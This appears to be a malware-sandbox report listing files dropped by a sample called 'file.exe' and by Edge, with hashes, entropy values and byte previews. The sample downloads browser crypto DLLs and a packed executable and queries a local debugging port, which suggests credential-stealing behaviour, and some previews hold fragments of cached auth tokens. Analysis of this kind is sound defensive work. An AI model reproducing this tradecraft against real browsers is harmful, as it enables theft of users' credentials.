Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.024053806559092
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUVVp4Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lU/f
MD5:	9268012FA16EE837F89C9829126A124C
SHA1:	14F331CF6C206EC80386552005F0CAD8D8181A2B
SHA-256:	A7835EF63CB7C5FA5E0A8AC83882DBB46018B1387AD3A06593E7D568D9855E40
SHA-512:	612FC0BFEB5A32F07EEC169C8DF70F6CD81E74BDC2F776BE714D268B175B06FF6628FED25F3D8BBE44B2DD5584B7680AC23077A98F2EB8C0F2445BCF95D370D7
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731489805094408}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a6dec175-91f0-4495-8dd6-e7286f187e6d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907839017712755
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+Utbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEz6htbz8hu3VlXr4CRo1
MD5:	0A01C48F3C67B63B6F580EBD5AE313C4
SHA1:	4144A1B3ED4FBD043169E2B098CF10A88F605A81
SHA-256:	8E99BDF64FE23D4746A3993A8E557FC5BB47B78CB40BC44757CEFF02FAF29DF8
SHA-512:	ADBE0593AA8025929B05668032DF308189C6730953DB4420F72D5EC8B35718057D51F1E7CBFE4E4C9BEB46B6465AF4D559227FD9320FC2630C4642B56DF2A80B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ffbae65b-51a7-44f7-bcfa-db12dbc12d0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46031
Entropy (8bit):	6.087097228711391
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgx9971uyhDO6vP6OtS15Wvqhu90dF+bNP2185CAo9Goup1Xl3u:JMk1rT8HR99i64avfP2185Ro9hu3VlX0
MD5:	9846229BAE9BB17EC8C15665486175F5
SHA1:	AC0978767E12436D059619D61C24C5E19D7033A8
SHA-256:	B247B490FDC8533D9ACA8896BC29301D73B80F5823E1B08E6272848B01D9FA64
SHA-512:	F6A6B45701D6285648AB6FFD4270F6B4CB7203494CD4D3577E1F7861E51888309D2D6EA0A185827DEB84ABB3660E8BA47B136B50FD032A3D671A290A6EF73B89
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731389006"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8557196123729582
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxkxl9Il8uR521mF1c3MHa9+J1d1rc:mJY01mFu3MmP
MD5:	8297BEEA17D7C3B4BEDDE76C7D3C0CEE
SHA1:	F73EFD04403ED7A1B5B61BD5E10143635A164C3C
SHA-256:	C53C8563B03F5694B8ECE20E3B6A9FCC1621C4A53C4911B85B28FF576CF5F0C1
SHA-512:	10B7CB7F14B8A0F624B9076B383DF94187B9A5A9DAF44E559AB6291F4980A03934BFCCC57D3D97C551F87BC8D5DFC62AE5F7BCA1C7CC8C93E787FBCA6608B54D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.J.a.G.Y.M.s.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.j.l.7.N.z.d.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.997658790609826
Encrypted:	false
SSDEEP:	96:YY9yQtQrd9qiOPJKGX1bHM4lJtJTb8VHtnW7qvTnx5fIKRQpClRtES:YNAQrLGhhlJD8PWuT3Ir8r+S
MD5:	5E4D6B6FFEC0EEA9A033349945D2A705
SHA1:	644C7200D606130F779CAABBD126147AB4B92F15
SHA-256:	FA73AC7FAC3C19B8C3D66BF85DE43E736013E807D4A54F5F42D2922EBAC85145
SHA-512:	18A0458A81992DC96A3F7F3C6D9471243FD1C12DAAE146E999FB61BB29E4BEB4A7CCF1248703D023D42B161902A0DBDC3C6B78D36BE9C2E5CB9F791BD9B46C9C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.T.q.n.R.s.M.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.j.l.7.N.z.d.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8910885909873
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xpwxl9Il8uR49BXZoi9qit9RvhB4YClw8akkid/vc:aTcYn49BJD4itUwn3
MD5:	E8498139FE263C8AC84DE4FC81DEC538
SHA1:	EEC007B794453C8FEFC82C496CCA14C6A9A2CD3D
SHA-256:	FAA4DC9C9E387903CB5C7862CAF2AD4F6DFE028CF33A55CF8EE4E58EBB9E48EC
SHA-512:	EF592CF096ED72DBE4E48AEDCB7DB7D4A112F5805A4F2C4A8ADE1F00E2350E96B646C0206B3C30B1DDAE624D54776FC4A94BAD831A9FB20F8B3B4770D70E2116
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".x.M.y.1.d.p.R.T.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.j.l.7.N.z.d.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.398940235827796
Encrypted:	false
SSDEEP:	96:6NnQ6HQrNnQkbQiNnQjs9QjSXNnQFGMdgEQFoNnQH4QHcNnQ+UeDQENnQcwQ+Nnf:6NsN7NLNQDN0zcN9UeLNbSNP6gN
MD5:	09799233BC056F72E2A4979321734DC6
SHA1:	18B5A33021A07FFD3682A381CAEA5C8A2DA3B01D
SHA-256:	94F40809718F6A2A7EEA1C7191AC3FF28ECD7FBAF67DCC81F63F692C8AFBE058
SHA-512:	AD35C844ECD02733B57FA9C3193DFB49CA6B7BABACB62DA466FCCCC03C13A2A83D8F1073E24209827ABD76738128DEEBEA7535F859CA51CE0F81A66876A7EC17
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9F8CB4C900E361CBAB4AC548B9305BCF",.. "id": "9F8CB4C900E361CBAB4AC548B9305BCF",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9F8CB4C900E361CBAB4AC548B9305BCF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F01CE63E40552FD9F75A1CDDF50F33AF",.. "id": "F01CE63E40552FD9F75A1CDDF50F33AF",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F01CE63E40552FD9F75A1CDDF50F33AF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3693317962023155
Encrypted:	false
SSDEEP:	48:SfNaoQu2hTEQu/fNaoQJSlQJofNaoQMwTDQMCfNaoQuITH0UrU0U8QM:6NnQu2hTEQuXNnQQQ+NnQ1TDQ/NnQuIf
MD5:	40120B7A356405C717A69721B1A55460
SHA1:	B89A62B3B2164553DF2348ABB7A7B40162C285E9
SHA-256:	C5C681D09229780375AA6138F071B583E891386481251BCF1503E237351A0366
SHA-512:	515D13540A20FD223E0DD6853BC4B6ED4558EFBD200CE58B325869E74E1D63043FC7CD31F546D1E958E94100D3B9A6CF8A5DD23497399DE20AE2FA18230D20D3
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/157A4059EFD6BDC54B540058421DC756",.. "id": "157A4059EFD6BDC54B540058421DC756",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/157A4059EFD6BDC54B540058421DC756"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/EC320034C258A8BF840FEF6FB7CC6028",.. "id": "EC320034C258A8BF840FEF6FB7CC6028",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/EC320034C258A8BF840FEF6FB7CC6028"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1816064
Entropy (8bit):	7.946226245691473
Encrypted:	false
SSDEEP:	49152:k0i01IX1oK+W7jGroaftEP/3RiyIOS+k:Tf6SK5c31EX3R9IOS+
MD5:	2878CC9A985C0FB2E09A37A43F3D99AE
SHA1:	41FE91F926C0F82E16454D9871C72776BFC5F104
SHA-256:	67FADF8AC3D2EAD9432D3872C87715B12DBE6974BF28A20622A9E75C555DFA61
SHA-512:	D74FB363E5C544D643F2E1E73FB837AD1C74B829FA98D056E8CB4D22F4AAF34D5F06099D2BA52BF20453766FF5BA87D14CCA5367F087330A4A8542827810E1DA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......i...........@...........................i.....F.....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... ..*...$......t..............@...juusqcgn. ...PO......v..............@...nciomklg.....pi.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
